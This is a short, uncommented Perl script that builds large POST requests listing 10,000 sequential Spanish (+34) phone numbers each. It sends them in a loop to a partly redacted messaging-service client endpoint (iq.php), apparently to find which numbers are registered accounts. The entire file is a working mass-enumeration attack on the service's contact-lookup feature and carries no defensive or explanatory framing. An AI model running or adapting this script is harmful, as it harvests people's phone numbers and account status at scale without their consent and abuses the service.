#!/usr/bin/perl
use LWP::UserAgent;
my $ua = new LWP::UserAgent;
open A,"num.txt"; 
my @a=<A>; 
my $i=0;
foreach my $b (@a){ 
  chomp $b;
  foreach $g (0..99) { 
       $i++;
       my $post="";
       $post="cd=1&cc=34&me=600000000"; 
       foreach(0..9999) { 
               $post .= sprintf ("&u%%5B%%5D=%%2B34$b%02d%04d",$g,$_); 
       } 
       print "get $i\n";
       my $req = new HTTP::Request 'POST','https://s...content-available-to-author-only...p.net/client/iphone/iq.php';
       $req->content_type('application/x-www-form-urlencoded');
       $req->content("$post");
       my $res = $ua->request($req);
       print $res->as_string;
  }
}